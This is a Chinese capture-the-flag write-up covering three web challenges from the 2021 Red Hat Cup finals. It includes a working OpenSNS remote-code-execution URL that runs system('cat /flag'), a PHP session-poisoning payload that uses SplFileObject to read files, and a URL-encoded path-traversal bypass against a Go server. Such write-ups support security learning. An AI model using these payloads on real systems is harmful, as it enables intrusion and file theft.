2021年第四届红帽杯线下赛WP| WEB部分全

admin 2021年12月3日13:15:35CTF专场评论55 views2073字阅读6分54秒阅读模式

题目一:opensns

OpenSNS是基于OneThink的轻量级社交化用户中心框架,系统秉持简约的设计风格,注重交流,为用户提供了一套轻量级的社交方案。OpenSNS前身是“ThinkOX”,2015年1月28号正式更名为OpenSNS。采用PHP+MYSQL构建的一款有“身份”的开源免费SNS社交系统,适用于多种社会关系,系统的设计遵循高内聚低耦合,允许管理员自由开启关闭功能模块,还内置了一个功能扩展商店,可以一键在线安装新的功能扩展。目前有大量的国内开发者,云市场也上架了大量的第三方功能模块和主题应用,使OpenSNS可以同时满足各行各业的社交需求。
这题目考的是平时对新漏洞的及时收集整理,因为赛场上根本没时间来现场审计挖洞,已知的opensns漏洞:https://zhuanlan.zhihu.com/p/388168180,直接用exp打即可:
http://172.16.9.2:9006/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(%27cat%20/flag%27)


题目二:upload

前面是一个任意写文件,但是过滤了h字符,没有办法写php后缀,但是给了phpinfo可以知道session路径,然后覆盖:
$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){
$temp = new $class($path);
if($class=='file'){
$filelist[] = (string)$temp;
}
else{
$filelist[] = $temp;
}
}
$out = '<p>your file:';

foreach ($filelist as $value){
$out .= $value.' ';
}
echo $out.'</p >';


因为可以控制$_SESSION['paths'],就可以随意new $class($path),用SplFileObject读文件即可:


<?php
session_start();
$_SESSION['paths'] = array();
$_SESSION['paths']["/flag"] = 'SplFileObject';

先生成一下session,得到 paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}

根据实际位置跳目录写入到session目录下sess_test,然后再设置Cookie: PHPSESSID=test,再访问即可。

题目三:alwaysBypass

这是一道golang语言的题目,如果选手没有go编译环境,根本无法进行漏洞修复,主办方在不给联网的情况下,其实应该提供go的离线下载,选手们以后得注意准备多种语言环境,https://golang.google.cn/。

r.GET("/images", func(c *gin.Context) {
if strings.Contains(c.Request.RequestURI, "../") {
c.String(http.StatusOK, "Illegal input")
} else {
images := c.DefaultQuery("file", "images.jpeg")
images = strings.ReplaceAll(images, "../", "")
fpath := filepath.Join("images", images)
if stat, err := os.Stat(fpath);err ==nil && stat.Size()<13448304 {
c.File(filepath.Join("images", images))
}
}
})
这里有个很明显的文件读取漏洞,url编码一下即可绕过....%2f%2f
然后看dockerfile里面找到start.sh:
#!/bin/bash

service ssh start

export GIN_MODE=release

FLAG=flag{test_flag}
echo root:$FLAG|chpasswd

cd /web && ./web > /dev/null 2>&1 &

tail -f /dev/null


flag是在这里写入到root的密码里面,可以直接读这个文件拿flag:

2021年第四届红帽杯线下赛WP| WEB部分全

当然因为是赛后复现,实际做题的时候也不排除出题人会把start改了。

2021年第四届红帽杯线下赛WP| WEB部分全

如果您有意向加入我们,请留言: ),或邮件投递简历:[email protected]nenet.com

本文始发于微信公众号(山石网科安全技术研究院):2021年第四届红帽杯线下赛WP| WEB部分全

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月3日13:15:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  2021年第四届红帽杯线下赛WP| WEB部分全 http://cn-sec.com/archives/440476.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: